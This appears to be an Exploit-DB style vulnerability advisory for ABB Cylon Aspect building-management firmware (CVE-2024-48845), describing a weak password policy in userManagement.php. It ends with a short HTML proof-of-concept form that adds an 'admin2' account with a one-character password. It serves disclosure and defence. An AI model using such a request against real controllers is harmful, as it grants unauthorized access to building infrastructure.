ABB Cylon Aspect 3.07.02 Weak Password Policy

vendor:

Cylon Aspect

by:

Gjoko 'LiquidWorm' Krstic

6.1

CVSS

HIGH

Weak Password Policy

522

CWE

Product Name: Cylon Aspect

Affected Version From: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio Firmware version <=3.07.02

Affected Version To: 03.07.02

Patch Exists: NO

Related CWE: CVE-2024-48845

CPE: a:abb_ltd.:cylon_aspect:3.07.02

Metasploit:

Other Scripts:

Platforms Tested: GNU/Linux, Intel Processors, PHP, AspectFT Automation Application Server, lighttpd, Apache, OpenJDK, ErgoTech MIX Deployment Server

2024

ABB Cylon Aspect 3.07.02 Weak Password Policy

ABB Cylon Aspect 3.07.02 suffers from a weak password policy in userManagement.php, allowing users to set simple or empty passwords and usernames without constraints. This flaw decreases account security, empowering attackers to misuse weak credentials for unauthorized access.

Mitigation:

To mitigate this vulnerability, users should enforce strong password policies requiring complex passwords and usernames. Regularly updating passwords and implementing multi-factor authentication can also enhance security.

Source

Exploit-DB raw data:

ABB Cylon Aspect 3.07.02 (userManagement.php) - Weak Password Policy
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.07.02

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB BMS/BAS controller suffers from a weak password policy, allowing
users to set overly simplistic or blank passwords and usernames without restrictions.
This vulnerability significantly reduces account security, enabling attackers
to exploit weak credentials for unauthorized access to the system.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
           ErgoTech MIX Deployment Server 2.0.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2024-5898
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5898.php
CVE ID: CVE-2024-48845
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48845


21.04.2024

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<body>
 <form action="http://192.168.73.31/userManagement.php" method="POST">
    <input type="hidden" name="USER" value="admin2" />
    <input type="hidden" name="PASSWORD" value="7" />
    <input type="hidden" name="ACTION" value="Add" />
    <input type="submit" value="Setirkaj." />
 </form>
</body>

</html>